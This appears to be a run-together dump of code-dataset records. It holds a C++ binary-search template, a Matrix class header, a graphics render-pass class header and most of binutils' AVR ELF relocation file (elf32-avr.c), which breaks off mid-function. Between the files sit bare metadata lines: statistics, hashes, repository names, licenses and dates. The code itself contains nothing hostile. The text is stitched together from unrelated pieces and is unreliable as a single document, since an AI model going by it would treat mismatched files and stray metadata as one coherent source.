template<class T> int range_bsearch(const std::vector<T>& array, REFERENCE_TIME rt) { int i = 0, j = array.size() - 1, ret = -1; if (j >= 0 && rt >= array[j].rt) { return j; } while (i < j) { int mid = (i + j) >> 1; REFERENCE_TIME midrt = array[mid].rt; if (rt == midrt) { ret = mid; break; } else if (rt < midrt) { ret = -1; if (j == mid) { mid--; } j = mid; } else if (rt > midrt) { ret = mid; if (i == mid) { mid++; } i = mid; } } return ret; }
30.439252
136
0.741787
[ "vector" ]
5cdee654f683f2199ec3b45eba85b1c22cc5589f
1,986
h
C
matrix.h
kyosheek/CPP-Algebra-Linear_Equations
789b8aa6176cf6f55cf006f5fc660e8845451bc0
[ "Unlicense" ]
1
2018-03-04T23:26:46.000Z
2018-03-04T23:26:46.000Z
matrix.h
kyosheek/CPP-Algebra-Linear_Equations
789b8aa6176cf6f55cf006f5fc660e8845451bc0
[ "Unlicense" ]
null
null
null
matrix.h
kyosheek/CPP-Algebra-Linear_Equations
789b8aa6176cf6f55cf006f5fc660e8845451bc0
[ "Unlicense" ]
null
null
null
#ifndef KP3_MATRIX_MATRIX_H #define KP3_MATRIX_MATRIX_H #include <iostream> #include <fstream> #include <algorithm> #include <cmath> #include <vector> using namespace std; class Matrix{ public: int change; bool isSquare = false; int rows, columns; vector<vector<double>> elements; /* * Constructos */ Matrix() {} Matrix(int row, int col); Matrix(int row, int col, double *els); Matrix(int row, int col, double **els); Matrix(int row, int col, vector<double> &els); Matrix(int row, int col, vector<vector<double>> &els); Matrix(int a) : Matrix(a,a) {}; Matrix(int a, double *els) : Matrix(a,a,els) {}; Matrix(int a, double **els) : Matrix(a,a,els) {}; Matrix(int a, vector<double> &els) : Matrix(a,a,els) {}; Matrix(int a, vector<vector<double>> &els) : Matrix(a,a,els) {}; /* * Operators */ friend ostream& operator<<(ostream& os, const Matrix &Mx); Matrix& operator=(const Matrix& Mx); //copy Matrix& operator+=(const Matrix& Mx); //matrix sum assign Matrix& operator*=(const Matrix& Mx); //matrix multiply assign Matrix& operator*=(double a); //number multiply assign Matrix operator+(const Matrix& Mx); //matrix sum Matrix operator*(const Matrix& Mx); //matrix multiply friend ostream& operator<<(ostream &os, const Matrix &Mx); //output friend istream& operator>>(istream &is, Matrix &Mx); //input friend ifstream& operator>>(ifstream &is, Matrix &Mx); //input /* * Methods */ double& at(int i, int j); double at(int i, int j) const; Matrix& transpose(); Matrix& toLedge(); Matrix& toMainLedge(); Matrix& toMainLedge(vector<double> &b); double det(); Matrix& reverse(); /* * Destructor */ ~Matrix(); }; class sqMatrix : public Matrix { sqMatrix() : Matrix(1,1) {} }; class vMatrix : public Matrix { vMatrix() : Matrix(1,1) {} }; #endif //KP3_MATRIX_MATRIX_H
25.792208
71
0.616818
[ "vector" ]
5cdf3e9cbd2746a16d97923aeaf50d12e4cb6fdb
4,730
h
C
q/include/video/Pass.h
jeanleflambeur/silkopter
cdbc67ee2c85f5c95eb4f52e2e0ba24514962dd8
[ "BSD-3-Clause" ]
36
2015-03-09T16:47:14.000Z
2021-02-04T08:32:04.000Z
q/include/video/Pass.h
jeanlemotan/silkopter
cdbc67ee2c85f5c95eb4f52e2e0ba24514962dd8
[ "BSD-3-Clause" ]
42
2017-02-11T11:15:51.000Z
2019-12-28T16:00:44.000Z
q/include/video/Pass.h
jeanleflambeur/silkopter
cdbc67ee2c85f5c95eb4f52e2e0ba24514962dd8
[ "BSD-3-Clause" ]
5
2015-10-15T05:46:48.000Z
2020-05-11T17:40:36.000Z
#pragma once #include "video/Uniform_Def.h" #include "video/Sampler_Def.h" #include "video/Attribute_Def.h" #include "video/Render_State.h" #include "video/Uber_Shader.h" #include "video/Render_State_Def.h" #include "video/Render_Target.h" namespace q { namespace video { class Pass { friend class Technique; public: Pass() = default; Pass(Pass&&); auto operator=(Pass&&) -> Pass&; Pass(Pass const&) = default; auto operator=(Pass const&) -> Pass& = default; void set_name(std::string const& name); auto get_name() const -> std::string const&; void set_scope_name(std::string const& scope_name); auto get_scope_name() const -> std::string const&; auto get_scope_idx() const -> size_t; ////////////////////////////////////////////////////////////////////////// void add_uniform_def(Uniform_Def const& def); //uniforms that are controllable by the material auto get_material_uniform_def_count() const -> size_t; auto get_material_uniform_def(size_t idx) const -> Uniform_Def const&; auto find_material_uniform_def_idx_by_name(std::string const& name) const -> int; //returns the index of the material uniform from the uniform idx auto get_material_uniform_idx_from_uniform_idx(size_t uniform_idx) const -> int; //returns offset(idx - 1) + size(idx - 1) auto get_material_uniform_def_data_offset(size_t uniform_idx) const -> size_t; auto get_material_uniform_def_data_size(size_t uniform_idx) const -> size_t; //all uniforms. //There are 3 kinds: // - material uniforms // - auto uniforms (like view matrix) - specified by the user // - auto uniforms added by shader patching (bone indices for example) auto get_uniform_def_count() const -> size_t; auto get_uniform_def(size_t uniform_idx) const -> Uniform_Def const&; auto find_uniform_def_idx_by_name(std::string const& name) const -> int; ////////////////////////////////////////////////////////////////////////// void add_sampler_def(Sampler_Def const& def); //samplers for the material auto get_material_sampler_def_count() const -> size_t; auto get_material_sampler_def(size_t sampler_idx) const -> Sampler_Def const&; auto find_material_sampler_def_idx_by_name(std::string const& name) const -> int; auto get_sampler_def_count() const -> size_t; auto get_sampler_def(size_t sampler_idx) const -> Sampler_Def const&; auto find_sampler_def_idx_by_name(std::string const& name) const -> int; ////////////////////////////////////////////////////////////////////////// void add_attribute_def(Attribute_Def const& def); auto get_attribute_def_count() const -> size_t; auto get_attribute_def(size_t attribute_idx) const -> Attribute_Def const&; auto find_attribute_def_idx_by_name(std::string const& name) const -> int; ////////////////////////////////////////////////////////////////////////// void set_render_state_def(Render_State_Def const& def); auto get_render_state_def() const -> Render_State_Def const&; ////////////////////////////////////////////////////////////////////////// void set_uber_shader(Uber_Shader const& p); auto get_uber_shader() const -> Uber_Shader const&; ////////////////////////////////////////////////////////////////////////// void set_render_target(Render_Target_ptr const& rt); auto get_render_target() const -> Render_Target_ptr const&; ////////////////////////////////////////////////////////////////////////// void compile(); private: std::string m_name; //selective rendering std::string m_scope_name; size_t m_scope_index = 0; //the renderer holds a mask of the active scopes //uniforms std::vector<Uniform_Def> m_uniforms; std::vector<std::pair<size_t, size_t>> m_material_uniform_data; std::vector<size_t> m_material_uniform_idx_to_uniform_idx; std::vector<size_t> m_uniform_idx_to_material_uniform_idx; std::map<std::string, size_t> m_material_uniform_map; //samplers std::vector<Sampler_Def> m_samplers; std::vector<size_t> m_material_samplers_idx; std::map<std::string, size_t> m_material_sampler_map; // attributes std::vector<Attribute_Def> m_attributes; std::map<std::string, size_t> m_attribute_map; //render state Render_State_Def m_render_state; //shader Uber_Shader m_uber_shader; //render target Render_Target_ptr m_render_target; }; inline auto Pass::get_render_target() const -> Render_Target_ptr const& { return m_render_target; } } }
34.275362
86
0.622199
[ "render", "vector" ]
5cebbaadb653dd314c2a189fe518e051ea3c1ce1
103,276
c
C
Read Only/gdb-6.8/bfd/elf32-avr.c
samyvic/OS-Project
1622bc1641876584964effd91d65ef02e92728e1
[ "Apache-2.0" ]
null
null
null
Read Only/gdb-6.8/bfd/elf32-avr.c
samyvic/OS-Project
1622bc1641876584964effd91d65ef02e92728e1
[ "Apache-2.0" ]
null
null
null
Read Only/gdb-6.8/bfd/elf32-avr.c
samyvic/OS-Project
1622bc1641876584964effd91d65ef02e92728e1
[ "Apache-2.0" ]
null
null
null
/* AVR-specific support for 32-bit ELF Copyright 1999, 2000, 2001, 2002, 2003, 2004, 2006, 2007 Free Software Foundation, Inc. Contributed by Denis Chertykov <denisc@overta.ru> This file is part of BFD, the Binary File Descriptor library. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA. */ #include "sysdep.h" #include "bfd.h" #include "libbfd.h" #include "elf-bfd.h" #include "elf/avr.h" #include "elf32-avr.h" /* Enable debugging printout at stdout with this variable. */ static bfd_boolean debug_relax = FALSE; /* Enable debugging printout at stdout with this variable. */ static bfd_boolean debug_stubs = FALSE; /* Hash table initialization and handling. Code is taken from the hppa port and adapted to the needs of AVR. */ /* We use two hash tables to hold information for linking avr objects. The first is the elf32_avr_link_hash_tablse which is derived from the stanard ELF linker hash table. We use this as a place to attach the other hash table and some static information. The second is the stub hash table which is derived from the base BFD hash table. The stub hash table holds the information on the linker stubs. */ struct elf32_avr_stub_hash_entry { /* Base hash table entry structure. */ struct bfd_hash_entry bh_root; /* Offset within stub_sec of the beginning of this stub. */ bfd_vma stub_offset; /* Given the symbol's value and its section we can determine its final value when building the stubs (so the stub knows where to jump). */ bfd_vma target_value; /* This way we could mark stubs to be no longer necessary. */ bfd_boolean is_actually_needed; }; struct elf32_avr_link_hash_table { /* The main hash table. */ struct elf_link_hash_table etab; /* The stub hash table. */ struct bfd_hash_table bstab; bfd_boolean no_stubs; /* Linker stub bfd. */ bfd *stub_bfd; /* The stub section. */ asection *stub_sec; /* Usually 0, unless we are generating code for a bootloader. Will be initialized by elf32_avr_size_stubs to the vma offset of the output section associated with the stub section. */ bfd_vma vector_base; /* Assorted information used by elf32_avr_size_stubs. */ unsigned int bfd_count; int top_index; asection ** input_list; Elf_Internal_Sym ** all_local_syms; /* Tables for mapping vma beyond the 128k boundary to the address of the corresponding stub. (AMT) "amt_max_entry_cnt" reflects the number of entries that memory is allocated for in the "amt_stub_offsets" and "amt_destination_addr" arrays. "amt_entry_cnt" informs how many of these entries actually contain useful data. */ unsigned int amt_entry_cnt; unsigned int amt_max_entry_cnt; bfd_vma * amt_stub_offsets; bfd_vma * amt_destination_addr; }; /* Various hash macros and functions. */ #define avr_link_hash_table(p) \ /* PR 3874: Check that we have an AVR style hash table before using it. */\ ((p)->hash->table.newfunc != elf32_avr_link_hash_newfunc ? NULL : \ ((struct elf32_avr_link_hash_table *) ((p)->hash))) #define avr_stub_hash_entry(ent) \ ((struct elf32_avr_stub_hash_entry *)(ent)) #define avr_stub_hash_lookup(table, string, create, copy) \ ((struct elf32_avr_stub_hash_entry *) \ bfd_hash_lookup ((table), (string), (create), (copy))) static reloc_howto_type elf_avr_howto_table[] = { HOWTO (R_AVR_NONE, /* type */ 0, /* rightshift */ 2, /* size (0 = byte, 1 = short, 2 = long) */ 32, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_bitfield, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_NONE", /* name */ FALSE, /* partial_inplace */ 0, /* src_mask */ 0, /* dst_mask */ FALSE), /* pcrel_offset */ HOWTO (R_AVR_32, /* type */ 0, /* rightshift */ 2, /* size (0 = byte, 1 = short, 2 = long) */ 32, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_bitfield, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_32", /* name */ FALSE, /* partial_inplace */ 0xffffffff, /* src_mask */ 0xffffffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A 7 bit PC relative relocation. */ HOWTO (R_AVR_7_PCREL, /* type */ 1, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 7, /* bitsize */ TRUE, /* pc_relative */ 3, /* bitpos */ complain_overflow_bitfield, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_7_PCREL", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ TRUE), /* pcrel_offset */ /* A 13 bit PC relative relocation. */ HOWTO (R_AVR_13_PCREL, /* type */ 1, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 13, /* bitsize */ TRUE, /* pc_relative */ 0, /* bitpos */ complain_overflow_bitfield, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_13_PCREL", /* name */ FALSE, /* partial_inplace */ 0xfff, /* src_mask */ 0xfff, /* dst_mask */ TRUE), /* pcrel_offset */ /* A 16 bit absolute relocation. */ HOWTO (R_AVR_16, /* type */ 0, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 16, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_16", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A 16 bit absolute relocation for command address Will be changed when linker stubs are needed. */ HOWTO (R_AVR_16_PM, /* type */ 1, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 16, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_bitfield, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_16_PM", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A low 8 bit absolute relocation of 16 bit address. For LDI command. */ HOWTO (R_AVR_LO8_LDI, /* type */ 0, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_LO8_LDI", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A high 8 bit absolute relocation of 16 bit address. For LDI command. */ HOWTO (R_AVR_HI8_LDI, /* type */ 8, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_HI8_LDI", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A high 6 bit absolute relocation of 22 bit address. For LDI command. As well second most significant 8 bit value of a 32 bit link-time constant. */ HOWTO (R_AVR_HH8_LDI, /* type */ 16, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_HH8_LDI", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A negative low 8 bit absolute relocation of 16 bit address. For LDI command. */ HOWTO (R_AVR_LO8_LDI_NEG, /* type */ 0, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_LO8_LDI_NEG", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A negative high 8 bit absolute relocation of 16 bit address. For LDI command. */ HOWTO (R_AVR_HI8_LDI_NEG, /* type */ 8, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_HI8_LDI_NEG", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A negative high 6 bit absolute relocation of 22 bit address. For LDI command. */ HOWTO (R_AVR_HH8_LDI_NEG, /* type */ 16, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_HH8_LDI_NEG", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A low 8 bit absolute relocation of 24 bit program memory address. For LDI command. Will not be changed when linker stubs are needed. */ HOWTO (R_AVR_LO8_LDI_PM, /* type */ 1, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_LO8_LDI_PM", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A low 8 bit absolute relocation of 24 bit program memory address. For LDI command. Will not be changed when linker stubs are needed. */ HOWTO (R_AVR_HI8_LDI_PM, /* type */ 9, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_HI8_LDI_PM", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A low 8 bit absolute relocation of 24 bit program memory address. For LDI command. Will not be changed when linker stubs are needed. */ HOWTO (R_AVR_HH8_LDI_PM, /* type */ 17, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_HH8_LDI_PM", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A low 8 bit absolute relocation of 24 bit program memory address. For LDI command. Will not be changed when linker stubs are needed. */ HOWTO (R_AVR_LO8_LDI_PM_NEG, /* type */ 1, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_LO8_LDI_PM_NEG", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A low 8 bit absolute relocation of 24 bit program memory address. For LDI command. Will not be changed when linker stubs are needed. */ HOWTO (R_AVR_HI8_LDI_PM_NEG, /* type */ 9, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_HI8_LDI_PM_NEG", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A low 8 bit absolute relocation of 24 bit program memory address. For LDI command. Will not be changed when linker stubs are needed. */ HOWTO (R_AVR_HH8_LDI_PM_NEG, /* type */ 17, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_HH8_LDI_PM_NEG", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* Relocation for CALL command in ATmega. */ HOWTO (R_AVR_CALL, /* type */ 1, /* rightshift */ 2, /* size (0 = byte, 1 = short, 2 = long) */ 23, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont,/* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_CALL", /* name */ FALSE, /* partial_inplace */ 0xffffffff, /* src_mask */ 0xffffffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A 16 bit absolute relocation of 16 bit address. For LDI command. */ HOWTO (R_AVR_LDI, /* type */ 0, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 16, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont,/* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_LDI", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A 6 bit absolute relocation of 6 bit offset. For ldd/sdd command. */ HOWTO (R_AVR_6, /* type */ 0, /* rightshift */ 0, /* size (0 = byte, 1 = short, 2 = long) */ 6, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont,/* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_6", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A 6 bit absolute relocation of 6 bit offset. For sbiw/adiw command. */ HOWTO (R_AVR_6_ADIW, /* type */ 0, /* rightshift */ 0, /* size (0 = byte, 1 = short, 2 = long) */ 6, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont,/* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_6_ADIW", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* Most significant 8 bit value of a 32 bit link-time constant. */ HOWTO (R_AVR_MS8_LDI, /* type */ 24, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_MS8_LDI", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* Negative most significant 8 bit value of a 32 bit link-time constant. */ HOWTO (R_AVR_MS8_LDI_NEG, /* type */ 24, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_MS8_LDI_NEG", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A low 8 bit absolute relocation of 24 bit program memory address. For LDI command. Will be changed when linker stubs are needed. */ HOWTO (R_AVR_LO8_LDI_GS, /* type */ 1, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_LO8_LDI_GS", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE), /* pcrel_offset */ /* A low 8 bit absolute relocation of 24 bit program memory address. For LDI command. Will be changed when linker stubs are needed. */ HOWTO (R_AVR_HI8_LDI_GS, /* type */ 9, /* rightshift */ 1, /* size (0 = byte, 1 = short, 2 = long) */ 8, /* bitsize */ FALSE, /* pc_relative */ 0, /* bitpos */ complain_overflow_dont, /* complain_on_overflow */ bfd_elf_generic_reloc, /* special_function */ "R_AVR_HI8_LDI_GS", /* name */ FALSE, /* partial_inplace */ 0xffff, /* src_mask */ 0xffff, /* dst_mask */ FALSE) /* pcrel_offset */ }; /* Map BFD reloc types to AVR ELF reloc types. */ struct avr_reloc_map { bfd_reloc_code_real_type bfd_reloc_val; unsigned int elf_reloc_val; }; static const struct avr_reloc_map avr_reloc_map[] = { { BFD_RELOC_NONE, R_AVR_NONE }, { BFD_RELOC_32, R_AVR_32 }, { BFD_RELOC_AVR_7_PCREL, R_AVR_7_PCREL }, { BFD_RELOC_AVR_13_PCREL, R_AVR_13_PCREL }, { BFD_RELOC_16, R_AVR_16 }, { BFD_RELOC_AVR_16_PM, R_AVR_16_PM }, { BFD_RELOC_AVR_LO8_LDI, R_AVR_LO8_LDI}, { BFD_RELOC_AVR_HI8_LDI, R_AVR_HI8_LDI }, { BFD_RELOC_AVR_HH8_LDI, R_AVR_HH8_LDI }, { BFD_RELOC_AVR_MS8_LDI, R_AVR_MS8_LDI }, { BFD_RELOC_AVR_LO8_LDI_NEG, R_AVR_LO8_LDI_NEG }, { BFD_RELOC_AVR_HI8_LDI_NEG, R_AVR_HI8_LDI_NEG }, { BFD_RELOC_AVR_HH8_LDI_NEG, R_AVR_HH8_LDI_NEG }, { BFD_RELOC_AVR_MS8_LDI_NEG, R_AVR_MS8_LDI_NEG }, { BFD_RELOC_AVR_LO8_LDI_PM, R_AVR_LO8_LDI_PM }, { BFD_RELOC_AVR_LO8_LDI_GS, R_AVR_LO8_LDI_GS }, { BFD_RELOC_AVR_HI8_LDI_PM, R_AVR_HI8_LDI_PM }, { BFD_RELOC_AVR_HI8_LDI_GS, R_AVR_HI8_LDI_GS }, { BFD_RELOC_AVR_HH8_LDI_PM, R_AVR_HH8_LDI_PM }, { BFD_RELOC_AVR_LO8_LDI_PM_NEG, R_AVR_LO8_LDI_PM_NEG }, { BFD_RELOC_AVR_HI8_LDI_PM_NEG, R_AVR_HI8_LDI_PM_NEG }, { BFD_RELOC_AVR_HH8_LDI_PM_NEG, R_AVR_HH8_LDI_PM_NEG }, { BFD_RELOC_AVR_CALL, R_AVR_CALL }, { BFD_RELOC_AVR_LDI, R_AVR_LDI }, { BFD_RELOC_AVR_6, R_AVR_6 }, { BFD_RELOC_AVR_6_ADIW, R_AVR_6_ADIW } }; /* Meant to be filled one day with the wrap around address for the specific device. I.e. should get the value 0x4000 for 16k devices, 0x8000 for 32k devices and so on. We initialize it here with a value of 0x1000000 resulting in that we will never suggest a wrap-around jump during relaxation. The logic of the source code later on assumes that in avr_pc_wrap_around one single bit is set. */ static bfd_vma avr_pc_wrap_around = 0x10000000; /* If this variable holds a value different from zero, the linker relaxation machine will try to optimize call/ret sequences by a single jump instruction. This option could be switched off by a linker switch. */ static int avr_replace_call_ret_sequences = 1; /* Initialize an entry in the stub hash table. */ static struct bfd_hash_entry * stub_hash_newfunc (struct bfd_hash_entry *entry, struct bfd_hash_table *table, const char *string) { /* Allocate the structure if it has not already been allocated by a subclass. */ if (entry == NULL) { entry = bfd_hash_allocate (table, sizeof (struct elf32_avr_stub_hash_entry)); if (entry == NULL) return entry; } /* Call the allocation method of the superclass. */ entry = bfd_hash_newfunc (entry, table, string); if (entry != NULL) { struct elf32_avr_stub_hash_entry *hsh; /* Initialize the local fields. */ hsh = avr_stub_hash_entry (entry); hsh->stub_offset = 0; hsh->target_value = 0; } return entry; } /* This function is just a straight passthrough to the real function in linker.c. Its prupose is so that its address can be compared inside the avr_link_hash_table macro. */ static struct bfd_hash_entry * elf32_avr_link_hash_newfunc (struct bfd_hash_entry * entry, struct bfd_hash_table * table, const char * string) { return _bfd_elf_link_hash_newfunc (entry, table, string); } /* Create the derived linker hash table. The AVR ELF port uses the derived hash table to keep information specific to the AVR ELF linker (without using static variables). */ static struct bfd_link_hash_table * elf32_avr_link_hash_table_create (bfd *abfd) { struct elf32_avr_link_hash_table *htab; bfd_size_type amt = sizeof (*htab); htab = bfd_malloc (amt); if (htab == NULL) return NULL; if (!_bfd_elf_link_hash_table_init (&htab->etab, abfd, elf32_avr_link_hash_newfunc, sizeof (struct elf_link_hash_entry))) { free (htab); return NULL; } /* Init the stub hash table too. */ if (!bfd_hash_table_init (&htab->bstab, stub_hash_newfunc, sizeof (struct elf32_avr_stub_hash_entry))) return NULL; htab->stub_bfd = NULL; htab->stub_sec = NULL; /* Initialize the address mapping table. */ htab->amt_stub_offsets = NULL; htab->amt_destination_addr = NULL; htab->amt_entry_cnt = 0; htab->amt_max_entry_cnt = 0; return &htab->etab.root; } /* Free the derived linker hash table. */ static void elf32_avr_link_hash_table_free (struct bfd_link_hash_table *btab) { struct elf32_avr_link_hash_table *htab = (struct elf32_avr_link_hash_table *) btab; /* Free the address mapping table. */ if (htab->amt_stub_offsets != NULL) free (htab->amt_stub_offsets); if (htab->amt_destination_addr != NULL) free (htab->amt_destination_addr); bfd_hash_table_free (&htab->bstab); _bfd_generic_link_hash_table_free (btab); } /* Calculates the effective distance of a pc relative jump/call. */ static int avr_relative_distance_considering_wrap_around (unsigned int distance) { unsigned int wrap_around_mask = avr_pc_wrap_around - 1; int dist_with_wrap_around = distance & wrap_around_mask; if (dist_with_wrap_around > ((int) (avr_pc_wrap_around >> 1))) dist_with_wrap_around -= avr_pc_wrap_around; return dist_with_wrap_around; } static reloc_howto_type * bfd_elf32_bfd_reloc_type_lookup (bfd *abfd ATTRIBUTE_UNUSED, bfd_reloc_code_real_type code) { unsigned int i; for (i = 0; i < sizeof (avr_reloc_map) / sizeof (struct avr_reloc_map); i++) if (avr_reloc_map[i].bfd_reloc_val == code) return &elf_avr_howto_table[avr_reloc_map[i].elf_reloc_val]; return NULL; } static reloc_howto_type * bfd_elf32_bfd_reloc_name_lookup (bfd *abfd ATTRIBUTE_UNUSED, const char *r_name) { unsigned int i; for (i = 0; i < sizeof (elf_avr_howto_table) / sizeof (elf_avr_howto_table[0]); i++) if (elf_avr_howto_table[i].name != NULL && strcasecmp (elf_avr_howto_table[i].name, r_name) == 0) return &elf_avr_howto_table[i]; return NULL; } /* Set the howto pointer for an AVR ELF reloc. */ static void avr_info_to_howto_rela (bfd *abfd ATTRIBUTE_UNUSED, arelent *cache_ptr, 